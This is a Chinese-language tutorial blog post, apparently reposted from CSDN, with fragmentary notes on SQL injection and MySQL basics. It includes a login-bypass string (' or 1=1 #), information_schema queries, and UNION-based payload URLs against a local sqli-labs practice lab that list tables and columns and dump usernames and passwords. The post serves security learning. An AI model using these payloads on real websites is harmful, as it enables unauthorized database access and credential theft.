SQL注入——MySQL数据库基础
其他
2020-03-20 10:19:55
阅读次数: 0
SQL注入原理
|
- 把用户输入的数据当做代码来执行,违背了“数据与代码分离”的原则
|
|
- 用户能控制输入的内容
- Web应用把用户输入的内容带入到数据库中执行
|
SQL注入漏洞危害
万能密码
- SELECT * FROM admin WHERE Username='user' and Password='pass'
|
- SELECT * FROM admin WHERE Username='1' or 1=1 # and Password='pass'
|
SQL注入分类
|
|
|
|
|
- union类型的sql注入 联合查询注入
- 基于错误显示的sql注入 报错注入
- 布尔类型的sql注入 布尔注入
- 基于时间的sql注入 延时注入
|
|
- Mysql数据库注入
- SQLServer数据库注入
- Oracle数据库注入
- Access数据库注入
- Mongodb
|
|
- Select
- Insert/update
- delete
|
msyql数据库基础操作:
基础常用命令
information数据库
|
|
|
- table_schema
- table_name
- select table_name from tables where table_schema='dvwa’;
- select table_name from tables where
- table_schema='security';
|
|
- TABLE_SCHEMA
- TABLE_NAME
- COLUMN_NAME 字段名
|
爆数据表
- http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3
|
爆字段
- http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3
|
数据拖库
- http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
|
发布了36 篇原创文章 ·
获赞 130 ·
访问量 2063
转载自blog.csdn.net/cldimd/article/details/104969835